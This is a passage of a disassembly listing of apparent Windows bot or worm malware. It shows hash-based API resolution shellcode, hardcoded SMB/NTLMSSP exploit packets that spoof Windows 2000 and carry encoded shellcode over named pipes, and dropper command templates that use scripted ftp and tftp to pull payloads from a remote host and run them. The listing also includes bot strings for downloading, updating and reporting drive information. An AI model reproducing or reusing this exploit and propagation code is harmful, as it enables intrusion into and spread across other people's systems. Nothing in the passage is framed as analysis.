sub_41A7B8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_41A7B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A7DD proc near ; CODE XREF: sub_41A718+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_41A7F5: ; CODE XREF: sub_41A7DD+1Ej cmp [ecx], ebx jz short loc_41A7FD mov ecx, [ecx] jmp short loc_41A7F5 ; --------------------------------------------------------------------------- loc_41A7FD: ; CODE XREF: sub_41A7DD+1Aj mov edx, edi loc_41A7FF: ; CODE XREF: sub_41A7DD+2Aj cmp [edx+4], ebx jz short loc_41A809 mov edx, [edx+4] jmp short loc_41A7FF ; --------------------------------------------------------------------------- loc_41A809: ; CODE XREF: sub_41A7DD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_41A7DD endp ; =============== S U B R O U T I N E ======================================= sub_41A814 proc near ; CODE XREF: sub_41A718+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_41A814 endp ; =============== S U B R O U T I N E ======================================= sub_41A82A proc near ; CODE XREF: sub_41A718+16p ; sub_41A718+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_41A840: ; CODE XREF: sub_41A82A+33j jecxz short loc_41A87A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_41A84D: ; CODE XREF: sub_41A82A+2Dj lodsb cmp al, ah jz short loc_41A859 ror edi, 0Dh add edi, eax jmp short loc_41A84D ; --------------------------------------------------------------------------- loc_41A859: ; CODE XREF: sub_41A82A+26j cmp edi, [esp+20h+arg_0] jnz short loc_41A840 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_41A87A: ; CODE XREF: sub_41A82A:loc_41A840j ; sub_41A82A:loc_41A87Aj jmp short loc_41A87A sub_41A82A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A880 proc near ; DATA XREF: sub_4023B8+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_41A8D2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_41A89D: ; CODE XREF: sub_41A880+38j jecxz short loc_41A8CD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_41A8A8: ; CODE XREF: sub_41A880+32j lodsb test al, al jz short loc_41A8B4 ror edx, 0Dh add edx, eax jmp short loc_41A8A8 ; --------------------------------------------------------------------------- loc_41A8B4: ; CODE XREF: sub_41A880+2Bj cmp edx, [esp+arg_0] jnz short loc_41A89D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_41A8CD: ; CODE XREF: sub_41A880:loc_41A89Dj mov [esp+arg_0], ebx retn sub_41A880 endp ; =============== S U B R O U T I N E ======================================= sub_41A8D2 proc near ; CODE XREF: sub_41A880+7p ; FUNCTION CHUNK AT 0041A90A SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_41A8EB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_41A8F6 ; --------------------------------------------------------------------------- loc_41A8EB: ; CODE XREF: sub_41A8D2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_41A8F6: ; CODE XREF: sub_41A8D2+14j pop edi xor esi, esi pusha push esi jmp short loc_41A90A sub_41A8D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A8FD proc near ; CODE XREF: sub_41A8D2:loc_41A90Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_41A8FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A8D2 loc_41A90A: ; CODE XREF: sub_41A8D2+29j call sub_41A8FD loc_41A90F: ; DATA XREF: sub_401B6C+1Bo ; sub_4077FD+74Fo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_41A8D2 ; --------------------------------------------------------------------------- db 3 dup(0) dword_41A914 dd 60h ; DATA XREF: sub_401BC7+320o dword_41A918 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o dword_41A924 dd 30h ; DATA XREF: sub_401BC7+2CAo ; .nsp0:0041E154o dword_41A928 dd 0A1h ; DATA XREF: sub_401BC7+29Fo dword_41A92C dd 3 ; DATA XREF: sub_401BC7+246o aCccc db 'CCCC',0 ; DATA XREF: sub_401BC7+153o align 4 loc_41A938: ; DATA XREF: sub_401BC7+E8o jmp short near ptr dword_41A940 ; --------------------------------------------------------------------------- align 10h dword_41A940 dd 2 dup(0) ; CODE XREF: .nsp0:loc_41A938j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_4023B8+57o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h aB: ; DATA XREF: sub_402972+ADo unicode 0, <> dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_41AA00 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_41AA60 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_41AB18 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh ; --------------------------------------------------------------------------- jno short loc_41AC16 mov ecx, 484962Fh retf 0EE65h ; --------------------------------------------------------------------------- dw 0DAFBh db 0CEh ; db 9Eh, 0AFh, 28h db 8Eh ; db 0EEh, 7Ah, 54h db 69h ; i db 85h, 28h, 57h db 0 db 4Fh, 0, 52h db 0 db 4Bh, 0, 53h db 0 dd offset loc_410051+3 dd offset loc_490054 db 4Fh, 0, 4Eh db 0 db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_41AC10 dd 3A000000h ; DATA XREF: sub_402972+119o db 0FFh, 53h ; --------------------------------------------------------------------------- loc_41AC16: ; CODE XREF: .nsp0:0041ABBCj dec ebp inc edx jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 20011800h, 3 dup(0) dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41AC50 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_41ACB8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_41AD50 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+164o ; sub_402972+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0 dword_41AEB0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+17Eo ; sub_402972+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 align 10h dword_41B010 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+198o ; sub_402972+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 2 dup(0) dword_41B170 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+1AFo ; sub_402972+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 2 dup(0) unk_41B1E0 db 81h ; ; DATA XREF: sub_402972+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_41B230 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_41B290 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_41B348 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 aO_0 db 'O',0 aR_0 db 'R',0 aK_0 db 'K',0 aS_1 db 'S',0 dd offset loc_410051+3 dd offset loc_490054 db 4Fh, 0, 4Eh db 0 db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_41B440 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 4 dword_41B4A8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B4E8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_41B550 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_41B5E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+351o ; sub_402972+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0 dword_41B748 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+36Bo ; sub_402972+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dd 0 dword_41B8A8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+385o ; sub_402972+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dd 0 dword_41BA08 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+39Fo ; sub_402972+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dd 0 dword_41BB68 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+3B9o ; sub_402972+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) dword_41BC38 dd 0A0D7325h, 0 ; DATA XREF: sub_402E09+100o ; sub_4077FD+2DACo aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_402E09+BCo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o aH1dd3nS__RootS db 'h1dd3n (%s) .. Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_4030CD+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_4030CD+10o align 10h a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o align 4 dword_41BD24 dd 78h ; DATA XREF: sub_40322D+Ar dword_41BD28 dd 80000002h ; DATA XREF: sub_4031BC+24r off_41BD2C dd offset aSoftwareMicr_0 ; DATA XREF: sub_4031BC+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 41DF98h, 80000001h, 41DFD0h dword_41BD40 dd 6272h ; DATA XREF: sub_40327E+Bo ; sub_404475+24o ... unk_41BD44 db 1Fh ; DATA XREF: sub_4032EE+480o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_41BD74 db 1Fh ; DATA XREF: sub_4032EE+472o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 align 10h unk_41BDB0 db 1Fh ; DATA XREF: sub_4032EE+3B6o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_41BDF4 dd 264021Fh, 6E776F1Fh, 64616F6Ch, 2BB0220h, 704F20BBh ; DATA XREF: sub_4032EE+34Do dd 64656E65h, 7325203Ah, 2Eh aOpen db 'open',0 ; DATA XREF: sub_4032EE+32Bo ; sub_4077FD+1314o ... align 4 unk_41BE1C db 1Fh ; DATA XREF: sub_4032EE+2D6o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_41BE58 db 1Fh ; DATA XREF: sub_4032EE+257o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_41BE84 db 1Fh ; DATA XREF: sub_4032EE+1CDo db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_41BEBC db 1Fh ; DATA XREF: sub_4032EE:loc_403486o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 10h unk_41BEF0 db 1Fh ; DATA XREF: sub_4032EE+191o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 unk_41BF28 db 1Fh ; DATA XREF: sub_4032EE+77o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_403882:loc_4038C5o aInvalid db 'Invalid',0 ; DATA XREF: sub_403882:loc_4038BFo aDisk db 'Disk',0 ; DATA XREF: sub_403882:loc_4038B9o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_403882:loc_4038B3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_403882:loc_4038ADo align 4 aRam db 'RAM',0 ; DATA XREF: sub_403882:loc_4038A7o word_41BF80 dw 3Fh ; DATA XREF: sub_403882+1Fo ; sub_40B807:loc_40B909r align 4 aFailed db 'failed',0 ; DATA XREF: sub_403913:loc_4039EBo ; sub_403A2E+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_403913+6Bo align 4 unk_41BF94 db 1Fh ; DATA XREF: sub_403A2E+8Eo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_41BFD4 db 1Fh ; DATA XREF: sub_403A2E+58o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_1 db 'A:\',0 ; DATA XREF: sub_403B00:loc_403B45o dword_41C018 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 